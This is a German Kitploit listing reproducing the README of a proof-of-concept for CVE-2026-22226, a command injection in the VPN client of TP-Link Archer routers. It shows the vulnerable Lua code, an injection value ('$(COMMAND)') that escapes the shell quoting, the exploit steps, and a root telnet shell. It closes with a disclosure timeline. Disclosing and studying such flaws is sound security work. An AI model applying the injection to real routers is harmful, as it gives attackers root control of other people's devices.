Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/lucasvanhaaren/cve-2026-22226
IoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationDrahtlose SicherheitPenetrationstestsCommand and Control
GitHublucasvanhaaren/cve-2026-22226

CVE-2026-22226

Proof-of-Concept für die CVE-2026-22226

Repository anzeigenWebseite
114vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22226

Proof of Concept für CVE-2026-22226

Authentifizierte OS-Befehlsinjektion auf der LAN-Seite im VPN-Client von TP-Link-Archer-WLAN-Routern


Kurzbeschreibung der Schwachstelle

Der VPN-Client-Controller speichert die benutzergesteuerte Eintragsbeschreibung (des) in der UCI-Konfiguration mit einem schwachen Validierungs-Regex. Wenn der Eintrag später erneut gelesen wird (während der Bearbeitung im WebUI), interpoliert get_ovpn_data() des ohne Bereinigung in einen in Anführungszeichen gesetzten Shell-Befehl, der an os.execute() übergeben wird:

root@kitploit:~
-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

Das einfache Anführungszeichen (') besteht die Validierungs-Regex und reicht aus, um aus der Shell-Quotierung auszubrechen und Befehle über die $()-Substitution einzuschleusen. Ein des-Feld mit dem Wert '$(COMMAND)' verwandelt den Befehl in:

root@kitploit:~
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

Zu beachten ist, dass die Befehlsausgabe nie in der HTTP-Antwort zurückgegeben wird, die Injektion also blind ist. Deshalb wird ein Out-of-Band-Kanal benötigt (hier startet das PoC-Skript einen telnetd-Server, um eine interaktive Shell zu erhalten).

Proof of Concept

[!Note] Ich habe dieses Skript nur auf einem TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 – Build 20250717) getestet, aber andere Archer-Geräte sind vermutlich ebenfalls anfällig.

Dieser PoC folgt diesem Ablauf:

  • Authentifizierung bei LuCI als admin
  • Hochladen einer Dummy-.ovpn-Konfigurationsdatei
  • Einfügen eines VPN-Client-Eintrags mit einem manipulierten des-Feld, das den einfachen Anführungszeichen-Kontext verlässt und die Payload über eine Befehlssubstitution einschleust
  • Auslösen von get_ovpn_data() durch erneutes Lesen des Eintrags, wodurch das manipulierte des an os.execute() übergeben wird
  • Bereinigen des manipulierten VPN-Eintrags (ermöglicht die spätere erneute Ausführung des Exploits)

[!Warning] Die Ausnutzung dieser Schwachstelle führt zur Ausführung von OS-Befehlen als root auf dem Router (vollständige Kompromittierung des Geräts) und umgeht die des-Eingabevalidierung über das erlaubte einfache Anführungszeichen.

Verwendung

Die Python-Abhängigkeiten sind direkt im Skript deklariert, sodass Sie es direkt mit einem modernen Python-Projektmanager ausführen oder sie manuell mit pip installieren können:

root@kitploit:~
# using pipx
pipx run poc.py
# using uv
uv run poc.py

# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
  • legen Sie die Ziel-IP, Anmeldedaten und Payload in poc.py fest

  • führen Sie das Skript aus:

root@kitploit:~
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
  • interagieren Sie mit dem gestarteten telnetd-Server:
root@kitploit:~
$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

Zeitleiste

  • 2026-02-18: Schwachstelle an TP-Link gemeldet, einschließlich detailliertem Bericht und Proof-of-Concept-Skript
  • 2026-03-25: TP-Link hat den Bericht bestätigt und angegeben, dass der Prozess bis zu 90 Tage dauern kann
  • 2026-05-13: TP-Link hat um zusätzliche 30 Tage gebeten, was wir akzeptiert haben
  • 2026-05-16: CVE-2026-22226 vergeben, das denselben Fehler verfolgt, der einige Tage zuvor von einem anderen Forscher am BE230 gemeldet wurde; Offenlegungstermin auf den 2026-07-22 festgelegt
  • 2026-06-04: Behobene AX73-Firmware veröffentlicht (v1.3.1)
  • 2026-07-22: Öffentliche Offenlegung

Referenzen

  • CVE-2026-22226
  • TP-Link-Sicherheitshinweis
Tool herunterladen